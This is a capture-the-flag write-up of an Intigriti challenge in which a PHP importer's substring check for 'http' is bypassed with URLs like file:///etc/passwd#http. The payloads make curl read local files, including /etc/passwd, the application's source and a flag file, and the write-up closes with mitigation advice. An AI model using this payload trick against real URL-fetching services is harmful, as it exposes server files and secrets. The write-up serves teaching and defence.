---
# System prepended metadata

title: Intigriti Challenge 1025 — SSRF → LFI Writeup

---

# Intigriti Challenge 1025 — SSRF → LFI Writeup

**Author:** kutaysec • **Platform:** Intigriti • **Tier:** 2

---

## 🧩 Description

The challenge hosted at
`https://challenge-1025.intigriti.io/challenge.php`
provides a simple importer interface that fetches a remote resource from a user-supplied URL.

A quick look at the source shows a naïve validation step that checks whether the string “http” appears in the parameter, then directly passes it to `curl_init()`.
This pattern allows a crafted input to pass the check but still trigger a local file read through `file://`.

**Goal:** Read arbitrary files from the server and retrieve the flag.

---

## 🔍 Challenge Analysis

The vulnerable PHP snippet looked like this:

```php
if (isset($_GET['url'])) {
    $url = $_GET['url'];

    if (stripos($url, 'http') === false) {
        die("Invalid URL: must include 'http'");
    }

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    echo htmlspecialchars(curl_exec($ch));
}
```

The `stripos()` check simply searches for the substring `http`.
It **does not validate the actual scheme**, so any string containing “http” somewhere—like in a fragment—will bypass it.

---

## ⚙️ Vulnerability

Because `curl` supports multiple schemes (`http`, `https`, `file`, `ftp`, …), we can exploit the logic flaw by adding a fragment such as `#http`:

```
file:///etc/passwd#http
```

The condition `stripos($url, 'http') !== false` passes,
but `curl` still interprets the prefix `file://` and reads local files.

---

## 💣 Proof of Concept

### 1️⃣ Initial test

```
GET /challenge.php?url=file%3A%2F%2F%2Fetc%2Fpasswd%23http
```

Decoded: `file:///etc/passwd#http`
→ Successfully returns the contents of `/etc/passwd`.

### 2️⃣ Source code disclosure

```
file:///var/www/html/challenge.php#http
```

Reveals the PHP source and confirms the logic flaw.

### 3️⃣ Flag retrieval

```
file:///proc/self/root/93e892fe-c0af-44a1-9308-5a58548abd98.txt#http
```

→ Displays:

```
INTIGRITI{...}
```

---

## 🧠 Technical Breakdown

| Step | Component        | Behavior                                                            |
| ---- | ---------------- | ------------------------------------------------------------------- |
| 1    | `stripos()`      | Only searches substring “http”                                      |
| 2    | `curl_init()`    | Accepts `file://` scheme                                            |
| 3    | Fragment `#http` | Triggers substring match while keeping actual protocol as `file://` |
| 4    | `curl_exec()`    | Reads local file contents                                           |
| 5    | Output           | Displays sensitive data including flag                              |

---

## 🧰 Impact

* **Arbitrary File Read (LFI via SSRF)**
  Attackers can access configuration files, source code, or secrets.
* Potential escalation to **RCE** if writable files or sensitive tokens exist.

---

## 🧱 Mitigation

1. Use `parse_url()` and verify the scheme strictly:

   ```php
   $parts = parse_url($url);
   if (!in_array(strtolower($parts['scheme'] ?? ''), ['http','https'])) {
       die('Invalid URL');
   }
   ```
2. Implement an **allow-list of domains** if remote fetching is required.
3. Disable `file://` wrappers (`allow_url_fopen=0` or `CURLOPT_PROTOCOLS`).
4. Sanitize and log all user inputs before cURL requests.

---

## 🏁 Conclusion

The challenge demonstrates how superficial string checks create severe SSRF/LFI vulnerabilities.
By appending a harmless-looking fragment containing “http”, the attacker tricks the filter and makes `curl` read local files, ultimately exposing the flag.

---

**Written by [@kutaysec](https://app.intigriti.com/researcher/profile/kutaysec)**
**X Profile [@exploitpy](https://x.com/exploitpy)**

